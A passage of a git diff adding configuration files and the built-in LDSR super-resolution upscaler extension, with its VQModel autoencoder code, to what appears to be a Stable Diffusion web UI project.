"31e35c80fc4829d14f90153f4c74cd59c90b779f6afe05a74cd6120b893f7e5b" +} \ No newline at end of file diff --git a/configs/alt-diffusion-inference.yaml b/configs/alt-diffusion-inference.yaml new file mode 100644 index 0000000000000000000000000000000000000000..cfbee72d71bfd7deed2075e423ca51bd1da0521c --- /dev/null +++ b/configs/alt-diffusion-inference.yaml @@ -0,0 +1,72 @@ +model: + base_learning_rate: 1.0e-04 + target: ldm.models.diffusion.ddpm.LatentDiffusion + params: + linear_start: 0.00085 + linear_end: 0.0120 + num_timesteps_cond: 1 + log_every_t: 200 + timesteps: 1000 + first_stage_key: "jpg" + cond_stage_key: "txt" + image_size: 64 + channels: 4 + cond_stage_trainable: false # Note: different from the one we trained before + conditioning_key: crossattn + monitor: val/loss_simple_ema + scale_factor: 0.18215 + use_ema: False + + scheduler_config: # 10000 warmup steps + target: ldm.lr_scheduler.LambdaLinearScheduler + params: + warm_up_steps: [ 10000 ] + cycle_lengths: [ 10000000000000 ] # incredibly large number to prevent corner cases + f_start: [ 1.e-6 ] + f_max: [ 1. ] + f_min: [ 1. ] + + unet_config: + target: ldm.modules.diffusionmodules.openaimodel.UNetModel + params: + image_size: 32 # unused + in_channels: 4 + out_channels: 4 + model_channels: 320 + attention_resolutions: [ 4, 2, 1 ] + num_res_blocks: 2 + channel_mult: [ 1, 2, 4, 4 ] + num_heads: 8 + use_spatial_transformer: True + transformer_depth: 1 + context_dim: 768 + use_checkpoint: True + legacy: False + + first_stage_config: + target: ldm.models.autoencoder.AutoencoderKL + params: + embed_dim: 4 + monitor: val/rec_loss + ddconfig: + double_z: true + z_channels: 4 + resolution: 256 + in_channels: 3 + out_ch: 3 + ch: 128 + ch_mult: + - 1 + - 2 + - 4 + - 4 + num_res_blocks: 2 + attn_resolutions: [] + dropout: 0.0 + lossconfig: + target: torch.nn.Identity + + cond_stage_config: + target: modules.xlmr.BertSeriesModelWithTransformation + params: + name: "XLMR-Large" \ No newline at end of file diff --git a/configs/instruct-pix2pix.yaml b/configs/instruct-pix2pix.yaml new file mode 100644 index 0000000000000000000000000000000000000000..4e896879dd7ac5697b89cb323ec43eb41c03596c --- /dev/null +++ b/configs/instruct-pix2pix.yaml @@ -0,0 +1,98 @@ +# File modified by authors of InstructPix2Pix from original (https://github.com/CompVis/stable-diffusion). +# See more details in LICENSE. + +model: + base_learning_rate: 1.0e-04 + target: modules.models.diffusion.ddpm_edit.LatentDiffusion + params: + linear_start: 0.00085 + linear_end: 0.0120 + num_timesteps_cond: 1 + log_every_t: 200 + timesteps: 1000 + first_stage_key: edited + cond_stage_key: edit + # image_size: 64 + # image_size: 32 + image_size: 16 + channels: 4 + cond_stage_trainable: false # Note: different from the one we trained before + conditioning_key: hybrid + monitor: val/loss_simple_ema + scale_factor: 0.18215 + use_ema: false + + scheduler_config: # 10000 warmup steps + target: ldm.lr_scheduler.LambdaLinearScheduler + params: + warm_up_steps: [ 0 ] + cycle_lengths: [ 10000000000000 ] # incredibly large number to prevent corner cases + f_start: [ 1.e-6 ] + f_max: [ 1. ] + f_min: [ 1. ] + + unet_config: + target: ldm.modules.diffusionmodules.openaimodel.UNetModel + params: + image_size: 32 # unused + in_channels: 8 + out_channels: 4 + model_channels: 320 + attention_resolutions: [ 4, 2, 1 ] + num_res_blocks: 2 + channel_mult: [ 1, 2, 4, 4 ] + num_heads: 8 + use_spatial_transformer: True + transformer_depth: 1 + context_dim: 768 + use_checkpoint: True + legacy: False + + first_stage_config: + target: ldm.models.autoencoder.AutoencoderKL + params: + embed_dim: 4 + monitor: val/rec_loss + ddconfig: + double_z: true + z_channels: 4 + resolution: 256 + in_channels: 3 + out_ch: 3 + ch: 128 + ch_mult: + - 1 + - 2 + - 4 + - 4 + num_res_blocks: 2 + attn_resolutions: [] + dropout: 0.0 + lossconfig: + target: torch.nn.Identity + + cond_stage_config: + target: ldm.modules.encoders.modules.FrozenCLIPEmbedder + +data: + target: main.DataModuleFromConfig + params: + batch_size: 128 + num_workers: 1 + wrap: false + validation: + target: edit_dataset.EditDataset + params: + path: data/clip-filtered-dataset + cache_dir: data/ + cache_name: data_10k + split: val + min_text_sim: 0.2 + min_image_sim: 0.75 + min_direction_sim: 0.2 + max_samples_per_prompt: 1 + min_resize_res: 512 + max_resize_res: 512 + crop_res: 512 + output_as_edit: False + real_input: True diff --git a/configs/v1-inference.yaml b/configs/v1-inference.yaml new file mode 100644 index 0000000000000000000000000000000000000000..d4effe569e897369918625f9d8be5603a0e6a0d6 --- /dev/null +++ b/configs/v1-inference.yaml @@ -0,0 +1,70 @@ +model: + base_learning_rate: 1.0e-04 + target: ldm.models.diffusion.ddpm.LatentDiffusion + params: + linear_start: 0.00085 + linear_end: 0.0120 + num_timesteps_cond: 1 + log_every_t: 200 + timesteps: 1000 + first_stage_key: "jpg" + cond_stage_key: "txt" + image_size: 64 + channels: 4 + cond_stage_trainable: false # Note: different from the one we trained before + conditioning_key: crossattn + monitor: val/loss_simple_ema + scale_factor: 0.18215 + use_ema: False + + scheduler_config: # 10000 warmup steps + target: ldm.lr_scheduler.LambdaLinearScheduler + params: + warm_up_steps: [ 10000 ] + cycle_lengths: [ 10000000000000 ] # incredibly large number to prevent corner cases + f_start: [ 1.e-6 ] + f_max: [ 1. ] + f_min: [ 1. ] + + unet_config: + target: ldm.modules.diffusionmodules.openaimodel.UNetModel + params: + image_size: 32 # unused + in_channels: 4 + out_channels: 4 + model_channels: 320 + attention_resolutions: [ 4, 2, 1 ] + num_res_blocks: 2 + channel_mult: [ 1, 2, 4, 4 ] + num_heads: 8 + use_spatial_transformer: True + transformer_depth: 1 + context_dim: 768 + use_checkpoint: True + legacy: False + + first_stage_config: + target: ldm.models.autoencoder.AutoencoderKL + params: + embed_dim: 4 + monitor: val/rec_loss + ddconfig: + double_z: true + z_channels: 4 + resolution: 256 + in_channels: 3 + out_ch: 3 + ch: 128 + ch_mult: + - 1 + - 2 + - 4 + - 4 + num_res_blocks: 2 + attn_resolutions: [] + dropout: 0.0 + lossconfig: + target: torch.nn.Identity + + cond_stage_config: + target: ldm.modules.encoders.modules.FrozenCLIPEmbedder diff --git a/configs/v1-inpainting-inference.yaml b/configs/v1-inpainting-inference.yaml new file mode 100644 index 0000000000000000000000000000000000000000..f9eec37d24bce33ce92320a782d16ae72308190a --- /dev/null +++ b/configs/v1-inpainting-inference.yaml @@ -0,0 +1,70 @@ +model: + base_learning_rate: 7.5e-05 + target: ldm.models.diffusion.ddpm.LatentInpaintDiffusion + params: + linear_start: 0.00085 + linear_end: 0.0120 + num_timesteps_cond: 1 + log_every_t: 200 + timesteps: 1000 + first_stage_key: "jpg" + cond_stage_key: "txt" + image_size: 64 + channels: 4 + cond_stage_trainable: false # Note: different from the one we trained before + conditioning_key: hybrid # important + monitor: val/loss_simple_ema + scale_factor: 0.18215 + finetune_keys: null + + scheduler_config: # 10000 warmup steps + target: ldm.lr_scheduler.LambdaLinearScheduler + params: + warm_up_steps: [ 2500 ] # NOTE for resuming. use 10000 if starting from scratch + cycle_lengths: [ 10000000000000 ] # incredibly large number to prevent corner cases + f_start: [ 1.e-6 ] + f_max: [ 1. ] + f_min: [ 1. ] + + unet_config: + target: ldm.modules.diffusionmodules.openaimodel.UNetModel + params: + image_size: 32 # unused + in_channels: 9 # 4 data + 4 downscaled image + 1 mask + out_channels: 4 + model_channels: 320 + attention_resolutions: [ 4, 2, 1 ] + num_res_blocks: 2 + channel_mult: [ 1, 2, 4, 4 ] + num_heads: 8 + use_spatial_transformer: True + transformer_depth: 1 + context_dim: 768 + use_checkpoint: True + legacy: False + + first_stage_config: + target: ldm.models.autoencoder.AutoencoderKL + params: + embed_dim: 4 + monitor: val/rec_loss + ddconfig: + double_z: true + z_channels: 4 + resolution: 256 + in_channels: 3 + out_ch: 3 + ch: 128 + ch_mult: + - 1 + - 2 + - 4 + - 4 + num_res_blocks: 2 + attn_resolutions: [] + dropout: 0.0 + lossconfig: + target: torch.nn.Identity + + cond_stage_config: + target: ldm.modules.encoders.modules.FrozenCLIPEmbedder diff --git a/embeddings/Place Textual Inversion embeddings here.txt b/embeddings/Place Textual Inversion embeddings here.txt new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/environment-wsl2.yaml b/environment-wsl2.yaml new file mode 100644 index 0000000000000000000000000000000000000000..0c4ae6809997ec38e7cf62cf0f71360b8cb61a7e --- /dev/null +++ b/environment-wsl2.yaml @@ -0,0 +1,11 @@ +name: automatic +channels: + - pytorch + - defaults +dependencies: + - python=3.10 + - pip=23.0 + - cudatoolkit=11.8 + - pytorch=2.0 + - torchvision=0.15 + - numpy=1.23 diff --git a/extensions-builtin/LDSR/__pycache__/ldsr_model_arch.cpython-39.pyc b/extensions-builtin/LDSR/__pycache__/ldsr_model_arch.cpython-39.pyc new file mode 100644 index 0000000000000000000000000000000000000000..71188e0a6a776bc549e67c2268518b7b0694d63d Binary files /dev/null and b/extensions-builtin/LDSR/__pycache__/ldsr_model_arch.cpython-39.pyc differ diff --git a/extensions-builtin/LDSR/__pycache__/preload.cpython-39.pyc b/extensions-builtin/LDSR/__pycache__/preload.cpython-39.pyc new file mode 100644 index 0000000000000000000000000000000000000000..c983599a4649e0a21ed97883ea4f64410e6e2e4c Binary files /dev/null and b/extensions-builtin/LDSR/__pycache__/preload.cpython-39.pyc differ diff --git a/extensions-builtin/LDSR/__pycache__/sd_hijack_autoencoder.cpython-39.pyc b/extensions-builtin/LDSR/__pycache__/sd_hijack_autoencoder.cpython-39.pyc new file mode 100644 index 0000000000000000000000000000000000000000..b979dda748ed253868635027f4bb07f370e48941 Binary files /dev/null and b/extensions-builtin/LDSR/__pycache__/sd_hijack_autoencoder.cpython-39.pyc differ diff --git a/extensions-builtin/LDSR/__pycache__/sd_hijack_ddpm_v1.cpython-39.pyc b/extensions-builtin/LDSR/__pycache__/sd_hijack_ddpm_v1.cpython-39.pyc new file mode 100644 index 0000000000000000000000000000000000000000..70dba9fa80db101cb27f58a04d06e1a1e22df59e Binary files /dev/null and b/extensions-builtin/LDSR/__pycache__/sd_hijack_ddpm_v1.cpython-39.pyc differ diff --git a/extensions-builtin/LDSR/__pycache__/vqvae_quantize.cpython-39.pyc b/extensions-builtin/LDSR/__pycache__/vqvae_quantize.cpython-39.pyc new file mode 100644 index 0000000000000000000000000000000000000000..859d7714075f11ae9efbf2f4c66eb37fcf6a8aae Binary files /dev/null and b/extensions-builtin/LDSR/__pycache__/vqvae_quantize.cpython-39.pyc differ diff --git a/extensions-builtin/LDSR/ldsr_model_arch.py b/extensions-builtin/LDSR/ldsr_model_arch.py new file mode 100644 index 0000000000000000000000000000000000000000..7cac36ce55ae295c6d0e444a93ea12bf8cfe893c --- /dev/null +++ b/extensions-builtin/LDSR/ldsr_model_arch.py @@ -0,0 +1,250 @@ +import os +import gc +import time + +import numpy as np +import torch +import torchvision +from PIL import Image +from einops import rearrange, repeat +from omegaconf import OmegaConf +import safetensors.torch + +from ldm.models.diffusion.ddim import DDIMSampler +from ldm.util import instantiate_from_config, ismap +from modules import shared, sd_hijack, devices + +cached_ldsr_model: torch.nn.Module = None + + +# Create LDSR Class +class LDSR: + def load_model_from_config(self, half_attention): + global cached_ldsr_model + + if shared.opts.ldsr_cached and cached_ldsr_model is not None: + print("Loading model from cache") + model: torch.nn.Module = cached_ldsr_model + else: + print(f"Loading model from {self.modelPath}") + _, extension = os.path.splitext(self.modelPath) + if extension.lower() == ".safetensors": + pl_sd = safetensors.torch.load_file(self.modelPath, device="cpu") + else: + pl_sd = torch.load(self.modelPath, map_location="cpu") + sd = pl_sd["state_dict"] if "state_dict" in pl_sd else pl_sd + config = OmegaConf.load(self.yamlPath) + config.model.target = "ldm.models.diffusion.ddpm.LatentDiffusionV1" + model: torch.nn.Module = instantiate_from_config(config.model) + model.load_state_dict(sd, strict=False) + model = model.to(shared.device) + if half_attention: + model = model.half() + if shared.cmd_opts.opt_channelslast: + model = model.to(memory_format=torch.channels_last) + + sd_hijack.model_hijack.hijack(model) # apply optimization + model.eval() + + if shared.opts.ldsr_cached: + cached_ldsr_model = model + + return {"model": model} + + def __init__(self, model_path, yaml_path): + self.modelPath = model_path + self.yamlPath = yaml_path + + @staticmethod + def run(model, selected_path, custom_steps, eta): + example = get_cond(selected_path) + + n_runs = 1 + guider = None + ckwargs = None + ddim_use_x0_pred = False + temperature = 1. + eta = eta + custom_shape = None + + height, width = example["image"].shape[1:3] + split_input = height >= 128 and width >= 128 + + if split_input: + ks = 128 + stride = 64 + vqf = 4 # + model.split_input_params = {"ks": (ks, ks), "stride": (stride, stride), + "vqf": vqf, + "patch_distributed_vq": True, + "tie_braker": False, + "clip_max_weight": 0.5, + "clip_min_weight": 0.01, + "clip_max_tie_weight": 0.5, + "clip_min_tie_weight": 0.01} + else: + if hasattr(model, "split_input_params"): + delattr(model, "split_input_params") + + x_t = None + logs = None + for _ in range(n_runs): + if custom_shape is not None: + x_t = torch.randn(1, custom_shape[1], custom_shape[2], custom_shape[3]).to(model.device) + x_t = repeat(x_t, '1 c h w -> b c h w', b=custom_shape[0]) + + logs = make_convolutional_sample(example, model, + custom_steps=custom_steps, + eta=eta, quantize_x0=False, + custom_shape=custom_shape, + temperature=temperature, noise_dropout=0., + corrector=guider, corrector_kwargs=ckwargs, x_T=x_t, + ddim_use_x0_pred=ddim_use_x0_pred + ) + return logs + + def super_resolution(self, image, steps=100, target_scale=2, half_attention=False): + model = self.load_model_from_config(half_attention) + + # Run settings + diffusion_steps = int(steps) + eta = 1.0 + + + gc.collect() + devices.torch_gc() + + im_og = image + width_og, height_og = im_og.size + # If we can adjust the max upscale size, then the 4 below should be our variable + down_sample_rate = target_scale / 4 + wd = width_og * down_sample_rate + hd = height_og * down_sample_rate + width_downsampled_pre = int(np.ceil(wd)) + height_downsampled_pre = int(np.ceil(hd)) + + if down_sample_rate != 1: + print( + f'Downsampling from [{width_og}, {height_og}] to [{width_downsampled_pre}, {height_downsampled_pre}]') + im_og = im_og.resize((width_downsampled_pre, height_downsampled_pre), Image.LANCZOS) + else: + print(f"Down sample rate is 1 from {target_scale} / 4 (Not downsampling)") + + # pad width and height to multiples of 64, pads with the edge values of image to avoid artifacts + pad_w, pad_h = np.max(((2, 2), np.ceil(np.array(im_og.size) / 64).astype(int)), axis=0) * 64 - im_og.size + im_padded = Image.fromarray(np.pad(np.array(im_og), ((0, pad_h), (0, pad_w), (0, 0)), mode='edge')) + + logs = self.run(model["model"], im_padded, diffusion_steps, eta) + + sample = logs["sample"] + sample = sample.detach().cpu() + sample = torch.clamp(sample, -1., 1.) + sample = (sample + 1.) / 2. * 255 + sample = sample.numpy().astype(np.uint8) + sample = np.transpose(sample, (0, 2, 3, 1)) + a = Image.fromarray(sample[0]) + + # remove padding + a = a.crop((0, 0) + tuple(np.array(im_og.size) * 4)) + + del model + gc.collect() + devices.torch_gc() + + return a + + +def get_cond(selected_path): + example = {} + up_f = 4 + c = selected_path.convert('RGB') + c = torch.unsqueeze(torchvision.transforms.ToTensor()(c), 0) + c_up = torchvision.transforms.functional.resize(c, size=[up_f * c.shape[2], up_f * c.shape[3]], + antialias=True) + c_up = rearrange(c_up, '1 c h w -> 1 h w c') + c = rearrange(c, '1 c h w -> 1 h w c') + c = 2. * c - 1. + + c = c.to(shared.device) + example["LR_image"] = c + example["image"] = c_up + + return example + + +@torch.no_grad() +def convsample_ddim(model, cond, steps, shape, eta=1.0, callback=None, normals_sequence=None, + mask=None, x0=None, quantize_x0=False, temperature=1., score_corrector=None, + corrector_kwargs=None, x_t=None + ): + ddim = DDIMSampler(model) + bs = shape[0] + shape = shape[1:] + print(f"Sampling with eta = {eta}; steps: {steps}") + samples, intermediates = ddim.sample(steps, batch_size=bs, shape=shape, conditioning=cond, callback=callback, + normals_sequence=normals_sequence, quantize_x0=quantize_x0, eta=eta, + mask=mask, x0=x0, temperature=temperature, verbose=False, + score_corrector=score_corrector, + corrector_kwargs=corrector_kwargs, x_t=x_t) + + return samples, intermediates + + +@torch.no_grad() +def make_convolutional_sample(batch, model, custom_steps=None, eta=1.0, quantize_x0=False, custom_shape=None, temperature=1., noise_dropout=0., corrector=None, + corrector_kwargs=None, x_T=None, ddim_use_x0_pred=False): + log = {} + + z, c, x, xrec, xc = model.get_input(batch, model.first_stage_key, + return_first_stage_outputs=True, + force_c_encode=not (hasattr(model, 'split_input_params') + and model.cond_stage_key == 'coordinates_bbox'), + return_original_cond=True) + + if custom_shape is not None: + z = torch.randn(custom_shape) + print(f"Generating {custom_shape[0]} samples of shape {custom_shape[1:]}") + + z0 = None + + log["input"] = x + log["reconstruction"] = xrec + + if ismap(xc): + log["original_conditioning"] = model.to_rgb(xc) + if hasattr(model, 'cond_stage_key'): + log[model.cond_stage_key] = model.to_rgb(xc) + + else: + log["original_conditioning"] = xc if xc is not None else torch.zeros_like(x) + if model.cond_stage_model: + log[model.cond_stage_key] = xc if xc is not None else torch.zeros_like(x) + if model.cond_stage_key == 'class_label': + log[model.cond_stage_key] = xc[model.cond_stage_key] + + with model.ema_scope("Plotting"): + t0 = time.time() + + sample, intermediates = convsample_ddim(model, c, steps=custom_steps, shape=z.shape, + eta=eta, + quantize_x0=quantize_x0, mask=None, x0=z0, + temperature=temperature, score_corrector=corrector, corrector_kwargs=corrector_kwargs, + x_t=x_T) + t1 = time.time() + + if ddim_use_x0_pred: + sample = intermediates['pred_x0'][-1] + + x_sample = model.decode_first_stage(sample) + + try: + x_sample_noquant = model.decode_first_stage(sample, force_not_quantize=True) + log["sample_noquant"] = x_sample_noquant + log["sample_diff"] = torch.abs(x_sample_noquant - x_sample) + except Exception: + pass + + log["sample"] = x_sample + log["time"] = t1 - t0 + + return log diff --git a/extensions-builtin/LDSR/preload.py b/extensions-builtin/LDSR/preload.py new file mode 100644 index 0000000000000000000000000000000000000000..cfd478d545ed12ef74e73fa40b6defe0156859da --- /dev/null +++ b/extensions-builtin/LDSR/preload.py @@ -0,0 +1,6 @@ +import os +from modules import paths + + +def preload(parser): + parser.add_argument("--ldsr-models-path", type=str, help="Path to directory with LDSR model file(s).", default=os.path.join(paths.models_path, 'LDSR')) diff --git a/extensions-builtin/LDSR/scripts/__pycache__/ldsr_model.cpython-39.pyc b/extensions-builtin/LDSR/scripts/__pycache__/ldsr_model.cpython-39.pyc new file mode 100644 index 0000000000000000000000000000000000000000..45808b091190e32dbda45e7dd44d68f27325c217 Binary files /dev/null and b/extensions-builtin/LDSR/scripts/__pycache__/ldsr_model.cpython-39.pyc differ diff --git a/extensions-builtin/LDSR/scripts/ldsr_model.py b/extensions-builtin/LDSR/scripts/ldsr_model.py new file mode 100644 index 0000000000000000000000000000000000000000..bd78decea1ec9fc66d61d66ee64457458a290f72 --- /dev/null +++ b/extensions-builtin/LDSR/scripts/ldsr_model.py @@ -0,0 +1,68 @@ +import os + +from modules.modelloader import load_file_from_url +from modules.upscaler import Upscaler, UpscalerData +from ldsr_model_arch import LDSR +from modules import shared, script_callbacks, errors +import sd_hijack_autoencoder # noqa: F401 +import sd_hijack_ddpm_v1 # noqa: F401 + + +class UpscalerLDSR(Upscaler): + def __init__(self, user_path): + self.name = "LDSR" + self.user_path = user_path + self.model_url = "https://heibox.uni-heidelberg.de/f/578df07c8fc04ffbadf3/?dl=1" + self.yaml_url = "https://heibox.uni-heidelberg.de/f/31a76b13ea27482981b4/?dl=1" + super().__init__() + scaler_data = UpscalerData("LDSR", None, self) + self.scalers = [scaler_data] + + def load_model(self, path: str): + # Remove incorrect project.yaml file if too big + yaml_path = os.path.join(self.model_path, "project.yaml") + old_model_path = os.path.join(self.model_path, "model.pth") + new_model_path = os.path.join(self.model_path, "model.ckpt") + + local_model_paths = self.find_models(ext_filter=[".ckpt", ".safetensors"]) + local_ckpt_path = next(iter([local_model for local_model in local_model_paths if local_model.endswith("model.ckpt")]), None) + local_safetensors_path = next(iter([local_model for local_model in local_model_paths if local_model.endswith("model.safetensors")]), None) + local_yaml_path = next(iter([local_model for local_model in local_model_paths if local_model.endswith("project.yaml")]), None) + + if os.path.exists(yaml_path): + statinfo = os.stat(yaml_path) + if statinfo.st_size >= 10485760: + print("Removing invalid LDSR YAML file.") + os.remove(yaml_path) + + if os.path.exists(old_model_path): + print("Renaming model from model.pth to model.ckpt") + os.rename(old_model_path, new_model_path) + + if local_safetensors_path is not None and os.path.exists(local_safetensors_path): + model = local_safetensors_path + else: + model = local_ckpt_path or load_file_from_url(self.model_url, model_dir=self.model_download_path, file_name="model.ckpt") + + yaml = local_yaml_path or load_file_from_url(self.yaml_url, model_dir=self.model_download_path, file_name="project.yaml") + + return LDSR(model, yaml) + + def do_upscale(self, img, path): + try: + ldsr = self.load_model(path) + except Exception: + errors.report(f"Failed loading LDSR model {path}", exc_info=True) + return img + ddim_steps = shared.opts.ldsr_steps + return ldsr.super_resolution(img, ddim_steps, self.scale) + + +def on_ui_settings(): + import gradio as gr + + shared.opts.add_option("ldsr_steps", shared.OptionInfo(100, "LDSR processing steps. Lower = faster", gr.Slider, {"minimum": 1, "maximum": 200, "step": 1}, section=('upscaling', "Upscaling"))) + shared.opts.add_option("ldsr_cached", shared.OptionInfo(False, "Cache LDSR model in memory", gr.Checkbox, {"interactive": True}, section=('upscaling', "Upscaling"))) + + +script_callbacks.on_ui_settings(on_ui_settings) diff --git a/extensions-builtin/LDSR/sd_hijack_autoencoder.py b/extensions-builtin/LDSR/sd_hijack_autoencoder.py new file mode 100644 index 0000000000000000000000000000000000000000..c29d274da825d2500b77a2022db3421b40b18886 --- /dev/null +++ b/extensions-builtin/LDSR/sd_hijack_autoencoder.py @@ -0,0 +1,293 @@ +# The content of this file comes from the ldm/models/autoencoder.py file of the compvis/stable-diffusion repo +# The VQModel & VQModelInterface were subsequently removed from ldm/models/autoencoder.py when we moved to the stability-ai/stablediffusion repo +# As the LDSR upscaler relies on VQModel & VQModelInterface, the hijack aims to put them back into the ldm.models.autoencoder +import numpy as np +import torch +import pytorch_lightning as pl +import torch.nn.functional as F +from contextlib import contextmanager + +from torch.optim.lr_scheduler import LambdaLR + +from ldm.modules.ema import LitEma +from vqvae_quantize import VectorQuantizer2 as VectorQuantizer +from ldm.modules.diffusionmodules.model import Encoder, Decoder +from ldm.util import instantiate_from_config + +import ldm.models.autoencoder +from packaging import version + +class VQModel(pl.LightningModule): + def __init__(self, + ddconfig, + lossconfig, + n_embed, + embed_dim, + ckpt_path=None, + ignore_keys=None, + image_key="image", + colorize_nlabels=None, + monitor=None, + batch_resize_range=None, + scheduler_config=None, + lr_g_factor=1.0, + remap=None, + sane_index_shape=False, # tell vector quantizer to return indices as bhw + use_ema=False + ): + super().__init__() + self.embed_dim = embed_dim + self.n_embed = n_embed + self.image_key = image_key + self.encoder = Encoder(**ddconfig) + self.decoder = Decoder(**ddconfig) + self.loss = instantiate_from_config(lossconfig) + self.quantize = VectorQuantizer(n_embed, embed_dim, beta=0.25, + remap=remap, + sane_index_shape=sane_index_shape) + self.quant_conv = torch.nn.Conv2d(ddconfig["z_channels"], embed_dim, 1) + self.post_quant_conv = torch.nn.Conv2d(embed_dim, ddconfig["z_channels"], 1) + if colorize_nlabels is not None: + assert type(colorize_nlabels)==int + self.register_buffer("colorize", torch.randn(3, colorize_nlabels, 1, 1)) + if monitor is not None: + self.monitor = monitor + self.batch_resize_range = batch_resize_range + if self.batch_resize_range is not None: + print(f"{self.__class__.__name__}: Using per-batch resizing in range {batch_resize_range}.") + + self.use_ema = use_ema + if self.use_ema: + self.model_ema = LitEma(self) + print(f"Keeping EMAs of {len(list(self.model_ema.buffers()))}.") + + if ckpt_path is not None: + self.init_from_ckpt(ckpt_path, ignore_keys=ignore_keys or []) + self.scheduler_config = scheduler_config + self.lr_g_factor = lr_g_factor + + @contextmanager + def ema_scope(self, context=None): + if self.use_ema: + self.model_ema.store(self.parameters()) + self.model_ema.copy_to(self) + if context is not None: + print(f"{context}: Switched to EMA weights") + try: + yield None + finally: + if self.use_ema: + self.model_ema.restore(self.parameters()) + if context is not None: + print(f"{context}: Restored training weights") + + def init_from_ckpt(self, path, ignore_keys=None): + sd = torch.load(path, map_location="cpu")["state_dict"] + keys = list(sd.keys()) + for k in keys: + for ik in ignore_keys or []: + if k.startswith(ik): + print("Deleting key {} from state_dict.".format(k)) + del sd[k] + missing, unexpected = self.load_state_dict(sd, strict=False) + print(f"Restored from {path} with {len(missing)} missing and {len(unexpected)} unexpected keys") + if missing: + print(f"Missing Keys: {missing}") + if unexpected: + print(f"Unexpected Keys: {unexpected}") + + def on_train_batch_end(self, *args, **kwargs): + if self.use_ema: + self.model_ema(self) + + def encode(self, x): + h = self.encoder(x) + h = self.quant_conv(h) + quant, emb_loss, info = self.quantize(h) + return quant, emb_loss, info + + def encode_to_prequant(self, x): + h = self.encoder(x) + h = self.quant_conv(h) + return h + + def decode(self, quant): + quant = self.post_quant_conv(quant) + dec = self.decoder(quant) + return dec + + def decode_code(self, code_b): + quant_b = self.quantize.embed_code(code_b) + dec = self.decode(quant_b) + return dec + + def forward(self, input, return_pred_indices=False): + quant, diff, (_,_,ind) = self.encode(input) + dec = self.decode(quant) + if return_pred_indices: + return dec, diff, ind + return dec, diff + + def get_input(self, batch, k): + x = batch[k] + if len(x.shape) == 3: + x = x[..., None] + x = x.permute(0, 3, 1, 2).to(memory_format=torch.contiguous_format).float() + if self.batch_resize_range is not None: + lower_size = self.batch_resize_range[0] + upper_size = self.batch_resize_range[1] + if self.global_step <= 4: + # do the first few batches with max size to avoid later oom + new_resize = upper_size + else: + new_resize = np.random.choice(np.arange(lower_size, upper_size+16, 16)) + if new_resize != x.shape[2]: + x = F.interpolate(x, size=new_resize, mode="bicubic") + x = x.detach() + return x + + def training_step(self, batch, batch_idx, optimizer_idx): + # https://github.com/pytorch/pytorch/issues/37142 + # try not to fool the heuristics + x = self.get_input(batch, self.image_key) + xrec, qloss, ind = self(x, return_pred_indices=True) + + if optimizer_idx == 0: + # autoencode + aeloss, log_dict_ae = self.loss(qloss, x, xrec, optimizer_idx, self.global_step, + last_layer=self.get_last_layer(), split="train", + predicted_indices=ind) + + self.log_dict(log_dict_ae, prog_bar=False, logger=True, on_step=True, on_epoch=True) + return aeloss + + if optimizer_idx == 1: + # discriminator + discloss, log_dict_disc = self.loss(qloss, x, xrec, optimizer_idx, self.global_step, + last_layer=self.get_last_layer(), split="train") + self.log_dict(log_dict_disc, prog_bar=False, logger=True, on_step=True, on_epoch=True) + return discloss + + def validation_step(self, batch, batch_idx): + log_dict = self._validation_step(batch, batch_idx) + with self.ema_scope(): + self._validation_step(batch, batch_idx, suffix="_ema") + return log_dict + + def _validation_step(self, batch, batch_idx, suffix=""): + x = self.get_input(batch, self.image_key) + xrec, qloss, ind = self(x, return_pred_indices=True) + aeloss, log_dict_ae = self.loss(qloss, x, xrec, 0, + self.global_step, + last_layer=self.get_last_layer(), + split="val"+suffix, + predicted_indices=ind + ) + + discloss, log_dict_disc = self.loss(qloss, x, xrec, 1, + self.global_step, + last_layer=self.get_last_layer(), + split="val"+suffix, + predicted_indices=ind + ) + rec_loss = log_dict_ae[f"val{suffix}/rec_loss"] + self.log(f"val{suffix}/rec_loss", rec_loss, + prog_bar=True, logger=True, on_step=False, on_epoch=True, sync_dist=True) + self.log(f"val{suffix}/aeloss", aeloss, + prog_bar=True, logger=True, on_step=False, on_epoch=True, sync_dist=True) + if version.parse(pl.__version__) >= version.parse('1.4.0'): + del log_dict_ae[f"val{suffix}/rec_loss"] + self.log_dict(log_dict_ae) + self.log_dict(log_dict_disc) + return self.log_dict + + def configure_optimizers(self): + lr_d = self.learning_rate + lr_g = self.lr_g_factor*self.learning_rate + print("lr_d", lr_d) + print("lr_g", lr_g) + opt_ae = torch.optim.Adam(list(self.encoder.parameters())+ + list(self.decoder.parameters())+ + list(self.quantize.parameters())+ + list(self.quant_conv.parameters())+ + list(self.post_quant_conv.parameters()), + lr=lr_g, betas=(0.5, 0.9)) + opt_disc = torch.optim.Adam(self.loss.discriminator.parameters(), + lr=lr_d, betas=(0.5, 0.9)) + + if self.scheduler_config is not None: + scheduler = instantiate_from_config(self.scheduler_config) + + print("Setting up LambdaLR scheduler...") + scheduler = [ + { + 'scheduler': LambdaLR(opt_ae, lr_lambda=scheduler.schedule), + 'interval': 'step', + 'frequency': 1 + }, + { + 'scheduler': LambdaLR(opt_disc, lr_lambda=scheduler.schedule), + 'interval': 'step', + 'frequency': 1 + }, + ] + return [opt_ae, opt_disc], scheduler + return [opt_ae, opt_disc], [] + + def get_last_layer(self): + return self.decoder.conv_out.weight + + def log_images(self, batch, only_inputs=False, plot_ema=False, **kwargs): + log = {} + x = self.get_input(batch, self.image_key) + x = x.to(self.device) + if only_inputs: + log["inputs"] = x + return log + xrec, _ = self(x) + if x.shape[1] > 3: + # colorize with random projection + assert xrec.shape[1] > 3 + x = self.to_rgb(x) + xrec = self.to_rgb(xrec) + log["inputs"] = x + log["reconstructions"] = xrec + if plot_ema: + with self.ema_scope(): + xrec_ema, _ = self(x) + if x.shape[1] > 3: + xrec_ema = self.to_rgb(xrec_ema) + log["reconstructions_ema"] = xrec_ema + return log + + def to_rgb(self, x): + assert self.image_key == "segmentation" + if not hasattr(self, "colorize"): + self.register_buffer("colorize", torch.randn(3, x.shape[1], 1, 1).to(x)) + x = F.conv2d(x, weight=self.colorize) + x = 2.*(x-x.min())/(x.max()-x.min()) - 1. + return x + + +class VQModelInterface(VQModel): + def __init__(self, embed_dim, *args, **kwargs): + super().__init__(*args, embed_dim=embed_dim, **kwargs) + self.embed_dim = embed_dim + + def encode(self, x): + h = self.encoder(x) + h = self.quant_conv(h) + return h + + def decode(self, h, force_not_quantize=False): + # also go through quantization layer + if not 